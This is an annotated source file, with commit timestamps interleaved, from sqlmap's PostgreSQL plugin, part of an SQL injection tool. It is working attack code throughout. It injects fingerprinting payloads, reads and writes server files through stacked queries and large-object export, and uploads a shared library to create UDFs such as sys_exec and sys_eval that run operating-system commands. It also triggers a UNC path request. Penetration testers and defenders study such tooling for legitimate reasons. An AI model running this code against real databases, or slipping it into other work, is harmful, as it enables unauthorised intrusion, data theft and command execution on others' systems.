2008-10-15 19:38:22 +04:00
#!/usr/bin/env python
"""
2008-10-15 19:56:32 +04:00
$ Id $
2008-10-15 19:38:22 +04:00
This file is part of the sqlmap project , http : / / sqlmap . sourceforge . net .
2010-03-03 18:26:27 +03:00
Copyright ( c ) 2007 - 2010 Bernardo Damele A . G . < bernardo . damele @gmail.com >
2009-04-22 15:48:07 +04:00
Copyright ( c ) 2006 Daniele Bellucci < daniele . bellucci @gmail.com >
2008-10-15 19:38:22 +04:00
sqlmap is free software ; you can redistribute it and / or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License .
sqlmap is distributed in the hope that it will be useful , but WITHOUT ANY
WARRANTY ; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE . See the GNU General Public License for more
details .
You should have received a copy of the GNU General Public License along
with sqlmap ; if not , write to the Free Software Foundation , Inc . , 51
Franklin St , Fifth Floor , Boston , MA 02110 - 1301 USA
"""
2009-04-22 15:48:07 +04:00
import os
2008-10-15 19:38:22 +04:00
import re
2008-12-23 02:26:44 +03:00
from lib . core . agent import agent
2008-11-16 02:41:31 +03:00
from lib . core . common import formatDBMSfp
2008-11-18 20:42:46 +03:00
from lib . core . common import formatFingerprint
2008-10-15 19:38:22 +04:00
from lib . core . common import getHtmlErrorFp
2009-04-22 15:48:07 +04:00
from lib . core . common import getRange
2008-10-15 19:38:22 +04:00
from lib . core . common import randomInt
2009-04-22 15:48:07 +04:00
from lib . core . common import randomStr
2008-10-15 19:38:22 +04:00
from lib . core . data import conf
from lib . core . data import kb
from lib . core . data import logger
2009-04-22 15:48:07 +04:00
from lib . core . data import paths
from lib . core . exception import sqlmapNoneDataException
2008-10-15 19:38:22 +04:00
from lib . core . exception import sqlmapSyntaxException
2009-04-22 15:48:07 +04:00
from lib . core . exception import sqlmapUnsupportedFeatureException
2008-10-15 19:38:22 +04:00
from lib . core . session import setDbms
from lib . core . settings import PGSQL_ALIASES
2008-10-26 19:19:15 +03:00
from lib . core . settings import PGSQL_SYSTEM_DBS
2008-10-15 19:38:22 +04:00
from lib . core . unescaper import unescaper
from lib . request import inject
2008-12-23 02:26:44 +03:00
from lib . request . connect import Connect as Request
2008-10-15 19:38:22 +04:00
from plugins . generic . enumeration import Enumeration
from plugins . generic . filesystem import Filesystem
from plugins . generic . fingerprint import Fingerprint
2009-04-22 15:48:07 +04:00
from plugins . generic . misc import Miscellaneous
2008-10-15 19:38:22 +04:00
from plugins . generic . takeover import Takeover
2009-04-22 15:48:07 +04:00
class PostgreSQLMap ( Fingerprint , Enumeration , Filesystem , Miscellaneous , Takeover ) :
2008-10-15 19:38:22 +04:00
"""
This class defines PostgreSQL methods
"""
def __init__ ( self ) :
2008-10-26 20:00:07 +03:00
self . excludeDbsList = PGSQL_SYSTEM_DBS
2009-09-26 03:03:45 +04:00
self . sysUdfs = {
2010-02-12 01:57:50 +03:00
# UDF name: UDF parameters' input data-type and return data-type
" sys_exec " : { " input " : [ " text " ] , " return " : " int4 " } ,
" sys_eval " : { " input " : [ " text " ] , " return " : " text " } ,
" sys_bineval " : { " input " : [ " text " ] , " return " : " int4 " } ,
" sys_fileread " : { " input " : [ " text " ] , " return " : " text " }
2009-09-26 03:03:45 +04:00
}
2009-04-22 15:48:07 +04:00
2008-10-15 19:38:22 +04:00
Enumeration . __init__ ( self , " PostgreSQL " )
2009-04-22 15:48:07 +04:00
Filesystem . __init__ ( self )
Takeover . __init__ ( self )
2008-10-15 19:38:22 +04:00
unescaper . setUnescape ( PostgreSQLMap . unescape )
@staticmethod
2008-11-02 21:17:12 +03:00
def unescape ( expression , quote = True ) :
if quote :
while True :
index = expression . find ( " ' " )
if index == - 1 :
break
firstIndex = index + 1
index = expression [ firstIndex : ] . find ( " ' " )
if index == - 1 :
raise sqlmapSyntaxException , " Unenclosed ' in ' %s ' " % expression
lastIndex = firstIndex + index
old = " ' %s ' " % expression [ firstIndex : lastIndex ]
#unescaped = "("
unescaped = " "
for i in range ( firstIndex , lastIndex ) :
unescaped + = " CHR( %d ) " % ( ord ( expression [ i ] ) )
if i < lastIndex - 1 :
unescaped + = " || "
#unescaped += ")"
expression = expression . replace ( old , unescaped )
else :
expression = " || " . join ( " CHR( %d ) " % ord ( c ) for c in expression )
2008-10-15 19:38:22 +04:00
return expression
@staticmethod
def escape ( expression ) :
while True :
index = expression . find ( " CHR( " )
if index == - 1 :
break
firstIndex = index
index = expression [ firstIndex : ] . find ( " )) " )
if index == - 1 :
raise sqlmapSyntaxException , " Unenclosed ) in ' %s ' " % expression
lastIndex = firstIndex + index + 1
old = expression [ firstIndex : lastIndex ]
oldUpper = old . upper ( )
oldUpper = oldUpper . replace ( " CHR( " , " " ) . replace ( " ) " , " " )
oldUpper = oldUpper . split ( " || " )
escaped = " ' %s ' " % " " . join ( [ chr ( int ( char ) ) for char in oldUpper ] )
expression = expression . replace ( old , escaped )
return expression
def getFingerprint ( self ) :
2008-11-18 20:42:46 +03:00
value = " "
wsOsFp = formatFingerprint ( " web server " , kb . headersFp )
if wsOsFp :
value + = " %s \n " % wsOsFp
2008-11-17 14:22:03 +03:00
2009-04-22 15:48:07 +04:00
if kb . data . banner :
2008-11-18 20:42:46 +03:00
dbmsOsFp = formatFingerprint ( " back-end DBMS " , kb . bannerFp )
2008-11-17 14:22:03 +03:00
2008-11-18 20:42:46 +03:00
if dbmsOsFp :
value + = " %s \n " % dbmsOsFp
2008-11-17 14:22:03 +03:00
value + = " back-end DBMS: "
2008-10-15 19:38:22 +04:00
2008-11-17 03:00:54 +03:00
if not conf . extensiveFp :
value + = " PostgreSQL "
return value
2008-10-15 19:38:22 +04:00
2008-11-17 03:00:54 +03:00
actVer = formatDBMSfp ( )
blank = " " * 15
value + = " active fingerprint: %s " % actVer
2008-10-15 19:38:22 +04:00
2008-11-17 20:41:02 +03:00
if kb . bannerFp :
2008-11-18 20:42:46 +03:00
banVer = kb . bannerFp [ " dbmsVersion " ]
2008-11-16 02:41:31 +03:00
banVer = formatDBMSfp ( [ banVer ] )
2008-10-15 19:38:22 +04:00
value + = " \n %s banner parsing fingerprint: %s " % ( blank , banVer )
2008-11-17 03:00:54 +03:00
htmlErrorFp = getHtmlErrorFp ( )
2008-10-15 19:38:22 +04:00
2008-11-17 03:00:54 +03:00
if htmlErrorFp :
value + = " \n %s html error message fingerprint: %s " % ( blank , htmlErrorFp )
2008-10-15 19:38:22 +04:00
return value
def checkDbms ( self ) :
2008-10-29 18:32:12 +03:00
"""
2010-01-12 14:44:47 +03:00
References for fingerprint :
* http : / / www . postgresql . org / docs / 8.4 / interactive / release . html ( up to 8.4 .2 )
2008-10-29 18:32:12 +03:00
"""
2008-10-15 19:38:22 +04:00
if conf . dbms in PGSQL_ALIASES :
setDbms ( " PostgreSQL " )
2009-04-22 15:48:07 +04:00
self . getBanner ( )
2008-11-17 14:22:03 +03:00
2008-10-15 19:38:22 +04:00
if not conf . extensiveFp :
return True
2009-04-22 15:48:07 +04:00
infoMsg = " testing PostgreSQL "
logger . info ( infoMsg )
2008-10-15 19:38:22 +04:00
randInt = str ( randomInt ( 1 ) )
2008-12-23 02:26:44 +03:00
payload = agent . fullPayload ( " AND %s ::int= %s " % ( randInt , randInt ) )
result = Request . queryPage ( payload )
2010-01-02 05:02:12 +03:00
if result :
2009-04-22 15:48:07 +04:00
infoMsg = " confirming PostgreSQL "
logger . info ( infoMsg )
2008-10-15 19:38:22 +04:00
2008-12-23 02:26:44 +03:00
payload = agent . fullPayload ( " AND COALESCE( %s , NULL)= %s " % ( randInt , randInt ) )
result = Request . queryPage ( payload )
2008-10-15 19:38:22 +04:00
2010-01-02 05:02:12 +03:00
if not result :
2008-10-15 19:38:22 +04:00
warnMsg = " the back-end DMBS is not PostgreSQL "
logger . warn ( warnMsg )
return False
setDbms ( " PostgreSQL " )
2009-04-22 15:48:07 +04:00
self . getBanner ( )
2008-11-17 14:22:03 +03:00
2008-10-15 19:38:22 +04:00
if not conf . extensiveFp :
return True
2010-01-12 14:44:47 +03:00
if inject . getValue ( " DIV(6, 3) " , unpack = False , charsetType = 2 ) == " 2 " :
kb . dbmsVersion = [ " >= 8.4.0 " ]
elif inject . getValue ( " SUBSTR(TRANSACTION_TIMESTAMP()::text, 1, 1) " , unpack = False , charsetType = 2 ) in ( " 1 " , " 2 " ) and not inject . getValue ( " SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1) " , unpack = False , charsetType = 2 ) in ( " 1 " , " 2 " ) :
kb . dbmsVersion = [ " >= 8.3.0 " , " < 8.4 " ]
2010-01-14 00:26:59 +03:00
elif inject . getValue ( " SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1) " , unpack = False , charsetType = 2 ) :
2008-10-29 18:32:12 +03:00
kb . dbmsVersion = [ " >= 8.2.0 " , " < 8.3.0 " ]
2010-01-12 14:44:47 +03:00
elif inject . getValue ( " GREATEST(5, 9, 1) " , unpack = False , charsetType = 2 ) == " 9 " :
2008-10-15 19:38:22 +04:00
kb . dbmsVersion = [ " >= 8.1.0 " , " < 8.2.0 " ]
2010-01-12 14:44:47 +03:00
elif inject . getValue ( " WIDTH_BUCKET(5.35, 0.024, 10.06, 5) " , unpack = False , charsetType = 2 ) == " 3 " :
2008-10-15 19:38:22 +04:00
kb . dbmsVersion = [ " >= 8.0.0 " , " < 8.1.0 " ]
2009-04-22 15:48:07 +04:00
elif inject . getValue ( " SUBSTR(MD5( ' sqlmap ' ), 1, 1) " , unpack = False ) :
2008-10-15 19:38:22 +04:00
kb . dbmsVersion = [ " >= 7.4.0 " , " < 8.0.0 " ]
2009-04-22 15:48:07 +04:00
elif inject . getValue ( " SUBSTR(CURRENT_SCHEMA(), 1, 1) " , unpack = False ) == " p " :
2008-10-15 19:38:22 +04:00
kb . dbmsVersion = [ " >= 7.3.0 " , " < 7.4.0 " ]
elif inject . getValue ( " BIT_LENGTH(1) " ) == " 8 " :
kb . dbmsVersion = [ " >= 7.2.0 " , " < 7.3.0 " ]
2009-04-22 15:48:07 +04:00
elif inject . getValue ( " SUBSTR(QUOTE_LITERAL( ' a ' ), 2, 1) " , unpack = False ) == " a " :
2008-10-15 19:38:22 +04:00
kb . dbmsVersion = [ " >= 7.1.0 " , " < 7.2.0 " ]
2010-01-12 14:44:47 +03:00
elif inject . getValue ( " POW(2, 3) " , unpack = False , charsetType = 2 ) == " 8 " :
2008-10-15 19:38:22 +04:00
kb . dbmsVersion = [ " >= 7.0.0 " , " < 7.1.0 " ]
elif inject . getValue ( " MAX( ' a ' ) " ) == " a " :
kb . dbmsVersion = [ " >= 6.5.0 " , " < 6.5.3 " ]
2009-04-22 15:48:07 +04:00
elif re . search ( " ([ \ d \ .]+) " , inject . getValue ( " SUBSTR(VERSION(), 12, 5) " , unpack = False ) ) :
2008-10-15 19:38:22 +04:00
kb . dbmsVersion = [ " >= 6.4.0 " , " < 6.5.0 " ]
2010-01-12 14:44:47 +03:00
elif inject . getValue ( " SUBSTR(CURRENT_DATE, 1, 1) " , unpack = False , charsetType = 2 ) == " 2 " :
2008-10-15 19:38:22 +04:00
kb . dbmsVersion = [ " >= 6.3.0 " , " < 6.4.0 " ]
2009-04-22 15:48:07 +04:00
elif inject . getValue ( " SUBSTRING( ' sqlmap ' , 1, 1) " , unpack = False ) == " s " :
2008-10-15 19:38:22 +04:00
kb . dbmsVersion = [ " >= 6.2.0 " , " < 6.3.0 " ]
else :
kb . dbmsVersion = [ " < 6.2.0 " ]
return True
else :
warnMsg = " the back-end DMBS is not PostgreSQL "
logger . warn ( warnMsg )
return False
2008-10-26 19:19:15 +03:00
2009-04-22 15:48:07 +04:00
def checkDbmsOs ( self , detailed = False ) :
if kb . os :
return
infoMsg = " fingerprinting the back-end DBMS operating system "
logger . info ( infoMsg )
2010-01-02 05:02:12 +03:00
self . createSupportTbl ( self . fileTblName , self . tblField , " character(1000) " )
2009-04-22 15:48:07 +04:00
inject . goStacked ( " INSERT INTO %s ( %s ) VALUES ( %s ) " % ( self . fileTblName , self . tblField , " VERSION() " ) )
# Windows executables should always have ' Visual C++' or ' mingw'
# patterns within the banner
2009-09-26 03:03:45 +04:00
osWindows = ( " Visual C++ " , " mingw " )
2009-04-22 15:48:07 +04:00
for osPattern in osWindows :
2009-09-26 03:03:45 +04:00
query = " (SELECT LENGTH( %s ) FROM %s WHERE %s " % ( self . tblField , self . fileTblName , self . tblField )
2009-04-22 15:48:07 +04:00
query + = " LIKE ' % " + osPattern + " % ' )>0 "
query = agent . forgeCaseStatement ( query )
if inject . getValue ( query , charsetType = 1 ) == " 1 " :
kb . os = " Windows "
break
2010-01-02 05:02:12 +03:00
if kb . os is None :
2009-04-22 15:48:07 +04:00
kb . os = " Linux "
infoMsg = " the back-end DBMS operating system is %s " % kb . os
logger . info ( infoMsg )
self . cleanup ( onlyFileTbl = True )
2008-10-26 19:19:15 +03:00
def forceDbmsEnum ( self ) :
2008-10-26 19:25:28 +03:00
if conf . db not in PGSQL_SYSTEM_DBS and conf . db != " public " :
2008-10-26 19:19:15 +03:00
conf . db = " public "
warnMsg = " on PostgreSQL it is only possible to enumerate "
warnMsg + = " on the current schema and on system databases, "
warnMsg + = " sqlmap is going to use ' public ' schema as "
warnMsg + = " database name "
logger . warn ( warnMsg )
2009-04-22 15:48:07 +04:00
def unionReadFile ( self , rFile ) :
errMsg = " PostgreSQL does not support file reading with UNION "
errMsg + = " query SQL injection technique "
raise sqlmapUnsupportedFeatureException , errMsg
def stackedReadFile ( self , rFile ) :
infoMsg = " fetching file: ' %s ' " % rFile
logger . info ( infoMsg )
2010-02-12 01:57:50 +03:00
self . initEnv ( )
2009-04-22 15:48:07 +04:00
2010-02-12 01:57:50 +03:00
return self . udfEvalCmd ( cmd = " ' %s ' " % rFile , udfName = " sys_fileread " )
2009-04-22 15:48:07 +04:00
def unionWriteFile ( self , wFile , dFile , fileType , confirm = True ) :
errMsg = " PostgreSQL does not support file upload with UNION "
errMsg + = " query SQL injection technique "
raise sqlmapUnsupportedFeatureException , errMsg
def stackedWriteFile ( self , wFile , dFile , fileType , confirm = True ) :
wFileSize = os . path . getsize ( wFile )
if wFileSize > 8192 :
errMsg = " on PostgreSQL it is not possible to write files "
errMsg + = " bigger than 8192 bytes at the moment "
raise sqlmapUnsupportedFeatureException , errMsg
self . oid = randomInt ( )
debugMsg = " creating a support table to write the base64 "
debugMsg + = " encoded file to "
2010-01-02 05:02:12 +03:00
logger . debug ( debugMsg )
2009-04-22 15:48:07 +04:00
2010-01-02 05:02:12 +03:00
self . createSupportTbl ( self . fileTblName , self . tblField , " text " )
2009-04-22 15:48:07 +04:00
2010-01-02 05:02:12 +03:00
logger . debug ( " encoding file to its base64 string value " )
2009-04-22 15:48:07 +04:00
fcEncodedList = self . fileEncode ( wFile , " base64 " , False )
debugMsg = " forging SQL statements to write the base64 "
debugMsg + = " encoded file to the support table "
logger . debug ( debugMsg )
sqlQueries = self . fileToSqlQueries ( fcEncodedList )
logger . debug ( " inserting the base64 encoded file to the support table " )
2010-01-02 05:02:12 +03:00
2009-04-22 15:48:07 +04:00
for sqlQuery in sqlQueries :
inject . goStacked ( sqlQuery )
debugMsg = " create a new OID for a large object, it implicitly "
debugMsg + = " adds an entry in the large objects system table "
logger . debug ( debugMsg )
# References:
# http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
2010-01-02 05:02:12 +03:00
# http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
inject . goStacked ( " SELECT lo_unlink( %d ) " % self . oid )
inject . goStacked ( " SELECT lo_create( %d ) " % self . oid )
2009-04-22 15:48:07 +04:00
debugMsg = " updating the system large objects table assigning to "
debugMsg + = " the just created OID the binary (base64 decoded) UDF "
debugMsg + = " as data "
logger . debug ( debugMsg )
# Refereces:
# * http://www.postgresql.org/docs/8.3/interactive/catalog-pg-largeobject.html
# * http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql
#
# NOTE: From PostgreSQL site:
#
# "The data stored in the large object will never be more than
# LOBLKSIZE bytes and might be less which is BLCKSZ/4, or
# typically 2 Kb"
#
# As a matter of facts it was possible to store correctly a file
# large 13776 bytes, the problem arises at next step (lo_export())
2010-01-02 05:02:12 +03:00
inject . goStacked ( " UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s ), ' base64 ' )) WHERE loid= %d " % ( self . tblField , self . fileTblName , self . oid ) )
2009-04-22 15:48:07 +04:00
debugMsg = " exporting the OID %s file content to " % fileType
debugMsg + = " file ' %s ' " % dFile
logger . debug ( debugMsg )
# NOTE: lo_export() exports up to only 8192 bytes of the file
# (pg_largeobject 'data' field)
2009-09-26 03:03:45 +04:00
inject . goStacked ( " SELECT lo_export( %d , ' %s ' ) " % ( self . oid , dFile ) , silent = True )
2009-04-22 15:48:07 +04:00
2010-01-02 05:02:12 +03:00
if confirm :
2009-04-22 15:48:07 +04:00
self . askCheckWrittenFile ( wFile , dFile , fileType )
2010-01-02 05:02:12 +03:00
inject . goStacked ( " SELECT lo_unlink( %d ) " % self . oid )
2009-04-22 15:48:07 +04:00
2009-09-26 03:03:45 +04:00
def udfSetRemotePath ( self ) :
2010-01-02 05:02:12 +03:00
# On Windows
2009-04-22 15:48:07 +04:00
if kb . os == " Windows " :
2009-09-26 03:03:45 +04:00
# The DLL can be in any folder where postgres user has
# read/write/execute access is valid
# NOTE: by not specifing any path, it will save into the
# data directory, on PostgreSQL 8.3 it is
# C:\Program Files\PostgreSQL\8.3\data.
self . udfRemoteFile = " %s . %s " % ( self . udfSharedLibName , self . udfSharedLibExt )
# On Linux
2009-04-22 15:48:07 +04:00
else :
2009-09-26 03:03:45 +04:00
# The SO can be in any folder where postgres user has
# read/write/execute access is valid
self . udfRemoteFile = " /tmp/ %s . %s " % ( self . udfSharedLibName , self . udfSharedLibExt )
2009-04-22 15:48:07 +04:00
2010-02-12 01:57:50 +03:00
def udfSetLocalPaths ( self ) :
2009-09-26 03:03:45 +04:00
self . udfLocalFile = paths . SQLMAP_UDF_PATH
2010-02-26 16:13:50 +03:00
self . udfSharedLibName = " libs %s " % randomStr ( lowercase = True )
2009-04-22 15:48:07 +04:00
2009-09-26 03:03:45 +04:00
self . getVersionFromBanner ( )
2009-04-22 15:48:07 +04:00
2009-09-26 03:03:45 +04:00
banVer = kb . bannerFp [ " dbmsVersion " ]
2009-04-22 15:48:07 +04:00
2010-01-14 04:40:11 +03:00
if banVer > = " 8.4 " :
majorVer = " 8.4 "
elif banVer > = " 8.3 " :
2009-09-26 03:03:45 +04:00
majorVer = " 8.3 "
2010-01-14 04:40:11 +03:00
elif banVer > = " 8.2 " :
2009-09-26 03:03:45 +04:00
majorVer = " 8.2 "
2010-01-14 04:40:11 +03:00
else :
errMsg = " unsupported feature on versions of PostgreSQL before 8.2 "
raise sqlmapUnsupportedFeatureException , errMsg
2009-04-22 15:48:07 +04:00
2009-09-26 03:03:45 +04:00
if kb . os == " Windows " :
self . udfLocalFile + = " /postgresql/windows/ %s /lib_postgresqludf_sys.dll " % majorVer
self . udfSharedLibExt = " dll "
else :
self . udfLocalFile + = " /postgresql/linux/ %s /lib_postgresqludf_sys.so " % majorVer
self . udfSharedLibExt = " so "
2009-04-22 15:48:07 +04:00
2010-02-12 01:57:50 +03:00
def udfCreateFromSharedLib ( self , udf , inpRet ) :
if udf in self . udfToCreate :
logger . info ( " creating UDF ' %s ' from the binary UDF file " % udf )
inp = " , " . join ( i for i in inpRet [ " input " ] )
ret = inpRet [ " return " ]
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
inject . goStacked ( " DROP FUNCTION %s " % udf )
inject . goStacked ( " CREATE OR REPLACE FUNCTION %s ( %s ) RETURNS %s AS ' %s ' , ' %s ' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE " % ( udf , inp , ret , self . udfRemoteFile , udf ) )
self . createdUdf . add ( udf )
else :
logger . debug ( " keeping existing UDF ' %s ' as requested " % udf )
2009-04-22 15:48:07 +04:00
def uncPathRequest ( self ) :
2010-01-02 05:02:12 +03:00
self . createSupportTbl ( self . fileTblName , self . tblField , " text " )
2009-04-22 15:48:07 +04:00
inject . goStacked ( " COPY %s ( %s ) FROM ' %s ' " % ( self . fileTblName , self . tblField , self . uncPath ) , silent = True )
self . cleanup ( onlyFileTbl = True )